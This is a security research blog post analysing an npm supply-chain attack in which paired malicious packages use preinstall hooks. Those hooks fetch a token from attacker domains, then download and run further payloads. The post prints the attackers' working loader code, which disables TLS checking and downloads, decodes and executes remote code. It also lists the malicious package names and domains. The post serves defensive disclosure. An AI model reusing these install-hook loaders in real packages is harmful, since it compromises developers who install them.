Phylum Discovers Sophisticated Ongoing Attack on NPM

blog.phylum.io/sophisticated-ongoing-attack-discovered-on-npm/

Phylum Research Team June 23, 2023

Jun 23, 2023 8 min read Research

🚨

Jul 22, 2023 Update: This attack has now been attributed to North Korean nation-state actors. Click here to learn more.

On June 11, Phylum's automated risk detection platform alerted us to a peculiar pattern of publications on NPM. The packages in question seem to be published in pairs, each pair working in unison to fetch additional resources which are subsequently decoded and/or executed. At the time of this writing, we have yet to fully unravel the mystery, but we invite you to follow along as we share the discoveries we've made so far.

--cta--

Background

The attack chain starts in the `package.json` file with a simple `preinstall` hook that looks something like this:

```
{
  "name": "chart-tablejs",
  "version": "1.0.1",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \\"Error: no test specified\\" && exit 1",
    "preinstall": "npm install sync-request && node main.js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "sync-request": "^6.1.0"
  }
}
```

As you can see above, this first installs a library called sync-request directly in the `preinstall` hook and then immediately runs the `main.js` file. Aside from the fact that installing a dependency in a preinstall hook is bad practice for a number of reasons, `sync-request` itself is not intended to be used in production environments. From its `README`:

```
N.B. You should not be using this in a production application...
```

That's because `sync-request` is a synchronous HTTP request library and blocks the event loop and can lead to poor performance and scalability.

Two Packages Working Together

As mentioned above, this attack chain is spread across a pair of packages and the order in which these packages need to be installed is important. This is because the first package will fetch a token from one of several potential remote servers and store it within a subdirectory of the user's home directory, such as `<usersHomeDir>/.config/npmcache`. Subsequently, the second package utilizes this token to acquire another script from the remote server. Given this workflow, it's crucial that each package in a pair is executed sequentially, in the correct order, and on the same machine to ensure successful operation.

It's worth noting that the naming convention of the files, domains, subdirectories, endpoints, and other bits of the code are not consistent across package pairs. This is likely an evasion attempt. Here's a list of the packages that pair up and some of the names used in them.

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
jpeg-metadata	~/.vscode/jsontoken	npmrepos.com	checkupdate.php
Stage 2			

Package	Reads From	Domain	Endpoint
ttf-metadata	~/.vscode/jsontoken	npmrepos.com	getupdate.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
chart-tablejs	~/.cprice/pricetoken	tradingprice.net	checktoken.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
vuewjs	~/.cprice/pricetoken	tradingprice.net	getbprice.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
elliptic-helper	~/.vscode/jsontoken	npmcloudjs.com	checkupdate.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
elliptic-parser	~/.vscode/jsontoken	npmcloudjs.com	getupdate.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
tslib-react	~/.vscode/jsontoken	npmjsregister.com	checkupdate.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
tslib-util	~/.vscode/jsontoken	npmjsregister.com	getupdate.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
audit-ejs	~/.npm/audit-cache	npmjsregister.com	auditcheck.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**

audit-vue	~/.npm/audit-cache	npmjsregister.com	getcheckjs.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
chart-vxe	~/.cprice/pricetoken	tradingprice.net	checktoken.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
vue-gws	~/.cprice/pricetoken	tradingprice.net	getbprice.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
ejs-audit	~/.npm/audit-cache	npmjsregister.com	auditcheck.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
vue-audit	~/.npm/audit-cache	npmjsregister.com	getcheckjs.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
price-fetch	~/.cprice/pricetoken	bi2price.com	checktoken.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
price-record	~/.cprice/pricetoken	bi2price.com	getbprice.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
cache-vue	~/.config/npmcache	npmjsregister.com	auditcheck.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
cache-react	~/.config/npmcache	npmjsregister.com	getcheckjs.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
btc-web3	~/.cprice/pricetoken	bi2price.com	checktoken.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
other-web3	~/.cprice/pricetoken	bi2price.com	getbprice.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
sync-http-api	~/.config/npmcache	npmjsregister.com	auditcheck.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
sync-https-api	~/.config/npmcache	npmjsregister.com	getcheckjs.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
assets-graph	~/.cprice/pricetoken	bi2price.com	checktoken.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
assets-table	~/.cprice/pricetoken	bi2price.com	getbprice.php

Stage 1			
Package	**Writes To**	**Domain**	**Endpoint**
couchcache-audit	~/.audit/npmcache	npmjsregister.com	auditcheck.php
Stage 2			
Package	**Reads From**	**Domain**	**Endpoint**
snykaudit-helper	~/.audit/npmcache	npmjsregister.com	getcheckjs.php

Let’s take a look at the first file required in the execution chain:

```
const os = require("os");
const path = require("path");
var fs = require('fs');

function checksvn(version, projectUrl) {
        var request = require('sync-request');
        var res = request('GET', projectUrl);

        fs.writeFileSync(version, res.getBody());

}

process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0

var dir = os.homedir() + "/.cprice";
if (!fs.existsSync(dir)){
    fs.mkdirSync(dir);
}
console.log(dir);
checksvn(path.join(dir,'/pricetoken'), '<https://tradingprice.net/checktoken.php>');
```

There are a few things worth pointing out here. Firstly, the code snippet shown above is the only source code in certain packages, but in others, it is stealthily appended to the end of an existing, extensive file; a subtle attempt to obscure its presence. Secondly, just before executing the heart of this code, the environment variable `NODE_TLS_REJECT_UNAUTHORIZED` is set to `0`. This action essentially negates TLS certificate validation, a poor security practice that leaves the application vulnerable to man-in-the-middle attacks. While we can only speculate, one plausible reason for this action could be to facilitate HTTP requests in corporate settings that have installed their own root certificates.

After the first file successfully executes, there will be a token in a known directory on the user's machine and it is now primed to run the second stage of this attack.

Let's now take a look at that file:

```
const os = require("os");
const path = require("path");
var fs = require('fs');

function getprice(domain, entry, token, path) {
        const https = require('https');
        const querystring = require('querystring');

        const options = {
          hostname: domain,
          port: 443,
          path: entry,
          method: 'POST',
          headers: {'content-type' : 'application/x-www-form-urlencoded'},
        };

        const req = https.request(options, (resp) => {
                let data = "";
                // A chunk of data has been recieved.
                resp.on("data", chunk => {
                  data += chunk;
                });
                resp.on("end", () => {
                        fs.writeFileSync(path, data);
                        const { exec } = require('child_process');
                        exec('node ' + path, (error, stdout, stderr) => {

                        });
                });
        });

        req.on('error', (e) => {
          console.error(e.message);
        });
        req.write(token);
        req.end();
}

process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0

var dir = path.join(os.homedir(), ".cprice");
if (fs.existsSync(dir)){
        const token = fs.readFileSync(path.join(dir,'pricetoken'),
            {encoding:'utf8', flag:'r'});
        getprice('tradingprice.net', '/getbprice.php', token, path.join(dir
,'pricecheck.js'));
}
```

Again, it's worth remembering that this script is triggered from another `preinstall` hook during installation of the second package in the pair. In this code we can see it's looking for the `pricetoken` file in the `.cprice` folder that was written earlier. Successful execution of that

returns the following payload and immediately executes it:

```
const os = require("os");
var fs = require('fs');
const path = require("path");

function getpricediff(domain, endpoint, token, entry) {
        const https = require("https");
        var agent = new https.Agent({ keepAlive: true });
        var options = { host: domain, port: 443, path: endpoint + "?" + token +
"&type=" + os.platform(), method: 'GET', agent: agent };

        https
          .get(options, resp => {
                let data = "";
                // A chunk of data has been recieved.
                resp.on("data", chunk => {
                  data += chunk;
                });

                // The whole response has been received. Print out the result.
                resp.on("end", () => {
                        let buff = Buffer.from(data, 'base64');
                        fs.writeFileSync(entry, buff);
                        fs.chmodSync (entry, "777");

                        if (buff.length > 100) {
                                var spawn = require('child_process').exec;
                                const childProcess = spawn (entry);
                                childProcess.unref();
                                setTimeout(() => {process.exit(0)}, 2000);
                        }
                        //process.exit(0);

                });
          })
          .on("error", err => {
                console.log("Error: " + err.message);
          });
}

process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0

var dir = os.homedir() + "/.cprice";
if (fs.existsSync(dir)){
        const token = fs.readFileSync(dir + '/pricetoken',
            {encoding:'utf8', flag:'r'});
        getpricediff('bi2price.com', '/getfullhistory.php', token, path.join(dir,
'price.dat'));
}
```

Above, we can see that it hits the `/getfullhistory.php` endpoint and should be retrieved with a `GET` where the query takes the form of:

```
GET https://bi2price.com/getfullhistory.php?token=<yourToken>&type=<yourOs>
```

Upon successful execution, this endpoint returns a Base64-encoded string that is immediately executed but only if the string is longer than 100 characters. The only response we've received back from this endpoint so far is `bm8gaGlzdG9yeSBhdmFpbGFibGU=`, which decodes to `"no history available"`. There could be a number of reasons why this is the only response we're getting:

1. The server might just be responding to all requests with this as it's not configured to deliver the full payload yet or perhaps it's only active during specific times.
2. The token generated in the first stage might be dependent on the IP address range or location sending the request. If it's not within a range of interest, the token, when used in the second stage, could tell the server as much and bail out with the "no history available" message.
3. The `os.platform()` is sent along as a query parameter along with the token in the third stage and if it's not of interest, it could also bail out early.

Whatever the reason, it's certain this is the work of a reasonably sophisticated supply-chain threat actor. This attack in particular stands out due to its unique execution chain requirements: a specific installation order of two distinct packages on the same machine. Moreover, the presumed malicious components are kept out of sight, stored on their servers, and are dynamically dispatched during execution. This carefully orchestrated attack serves as a stark reminder of the ever-evolving complexity of modern threat actors in the open-source ecosystem.

Publish Timeline

Package Name	Publish Time	Notes
jpeg-metadata@1.5.1	2023-06-11 19:54:33	
ttf-metadta@1.5.2	-	(published & immediately removed by the user--probably because of the typo)
ttf-metadata@1.5.2	2023-06-11 19:56:32	
chart-tablejs@1.0.1	2023-06-13 01:15:35	
vuewjs@1.0.1	2023-06-13 01:20:25	

Package Name	Publish Time	Notes
elliptic-helper@1.2.7	2023-06-13 02:47:14	
elliptic-parser@1.2.7	2023-06-13 02:47:29	
tslib-tool@1.6.1	2023-06-13 07:10:19	(replaced by tslib-util)
tslib-util@1.6.2	2023-06-13 07:11:19	
tslib-react@1.7.1	2023-06-13 20:36:56	
audit-ejs@1.7.2	2023-06-14 19:28:18	
audit-vue@1.6.2	2023-06-14 19:28:33	
chart-vxe@0.0.9	2023-06-15 00:48:26	
vue-gws@0.0.1	2023-06-15 00:48:57	
ejs-audit@1.7.2	2023-06-19 00:30:49	
vue-audit@1.6.2	2023-06-19 00:31:00	
price-fetch@0.0.9	2023-06-19 00:51:23	
price-record@0.0.9	2023-06-19 01:02:52	
cache-react@1.0.2	2023-06-19 18:10:40	
cache-vue@1.0.1	2023-06-19 18:11:45	
btc-web3@1.0.1	2023-06-19 18:41:33	
other-web3@1.0.1	2023-06-19 18:41:47	

Package Name	Publish Time	Notes
cache-vue@1.0.2	2023-06-19 19:44:50	
sync-http-api@6.1.0	2023-06-20 19:01:02	
sync-https-api@6.1.1	2023-06-20 19:02:03	
sync-http-api@6.1.1	2023-06-20 19:28:45	
assets-graph@1.0.0	2023-06-21 00:36:50	
assets-table@1.0.0	2023-06-21 00:37:41	
couchcache-audit@1.1.2	2023-06-21 18:02:05	
snykaudit-helper@4.1.1	2023-06-21 18:09:48	
snykaudit-helper@4.1.2	2023-06-21 18:22:37	

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.

Get trends & security tips delivered to you.

Stay current with all things Phylum

Success!

Sorry, something went wrong. Please try again.